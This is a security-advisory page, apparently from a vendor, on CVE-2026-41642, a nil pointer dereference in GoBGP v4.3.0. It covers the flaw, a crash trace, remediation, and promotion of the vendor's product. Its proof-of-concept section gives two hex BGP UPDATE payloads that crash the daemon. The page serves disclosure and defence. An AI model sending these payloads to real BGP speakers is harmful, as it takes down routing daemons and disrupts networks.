CVE-2026-41642 — v4
HIGHCVE-2026-41642 is a high-severity (CVSS 7.5) NULL Pointer Dereference vulnerability in github.com/osrg/gobgp/v4. A fix is available for github.com/osrg/gobgp/v4 — see the affected versions and patch details below.
GoBGP: Remote Denial of Service (Panic) via Malformed Well-known Path Attribute
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41642.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41642 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/osrg/gobgp/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A remote Denial of Service (DoS) vulnerability exists in GoBGP due to a nil pointer dereference. When a malformed BGP UPDATE message contains an unrecognized Path Attribute marked as "Well-known," the daemon fails to interrupt the message handling flow. This results in an illegal memory access and a full process crash (panic).
Details
The vulnerability is located in the Finite State Machine (FSM) message handling loop in pkg/server/fsm.go. According to RFC 4271, any Path Attribute with the Optional bit set to 0 is treated as "Well-known." If the Type Code is unrecognized, the BGP speaker MUST send a NOTIFICATION message.
In GoBGP v4.3.0, when such an attribute (e.g., Type 0xEE or 0xFF with flags 0x40) is received, the parsing layer identifies the error. However, the logic in recvMessageloop (around Line 1826) does not properly halt execution. It proceeds to reference the body of the parsed message. Because the message was deemed invalid during the initial attribute check, the body pointer is nil, leading to: panic: runtime error: invalid memory address or nil pointer dereference.
This bypasses the intended error-handling mechanism and causes the entire BGP daemon to terminate, rather than just closing the affected session.
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0xc225e4]
goroutine 50 [running]:
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x19f29bca92c0, {0x10069f0, 0x19f29bc48780}, {0x1014658, 0x19f29bc2a890}, 0x19f29baa0540, 0x19f29bc393b0, 0x19f29bc96cc0?)
/home/base/Desktop/gobgp/pkg/server/fsm.go:1826 +0xa44
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
/home/base/Desktop/gobgp/pkg/server/fsm.go:1916 +0x2d5
exit status 2
PoC
GoBGP Version: v4.3.0 Configure GoBGP with a neighbor (e.g., 192.168.31.195) in passive mode. Establish a standard BGP session (OPEN/KEEPALIVE exchange). Send a specifically crafted UPDATE packet containing an unrecognized Type Code marked as "Well-known" (Optional bit = 0). Payload 1 (Hex):
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17 # Length: 23
02 # Type: UPDATE
00 00 # Withdrawn Routes Length: 0
00 04 # Total Path Attribute Length: 4
40 EE 00 # Flag: 0x40 (Well-known, Transitive), Type: 0xEE (Unknown), Len: 0
Payload 2 (Hex):
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17 # Length: 23
02 # Type: UPDATE
00 00 # Withdrawn Routes Length: 0
00 04 # Total Path Attribute Length: 4
40 01 01 00 # IGP Attribute
40 FF 00 # Flag: 0x40 (Well-known, Transitive), Type: 0xFF (Unknown), Len: 0
Impact
This vulnerability affects all GoBGP deployments peering with external or internal speakers. A single malformed UPDATE message from any peer can trigger a nil pointer dereference, causing the GoBGP daemon to panic and crash.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/osrg/gobgp/v4 | ≥ 4.3.0&&< 4.4.0 | 4.4.0go get github.com/osrg/gobgp/v4@v4.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/osrg/gobgp/v4, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/osrg/gobgp/v4 to 4.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41642 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41642 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41642. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41642 in your dependencies?
O3 Security finds CVE-2026-41642 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.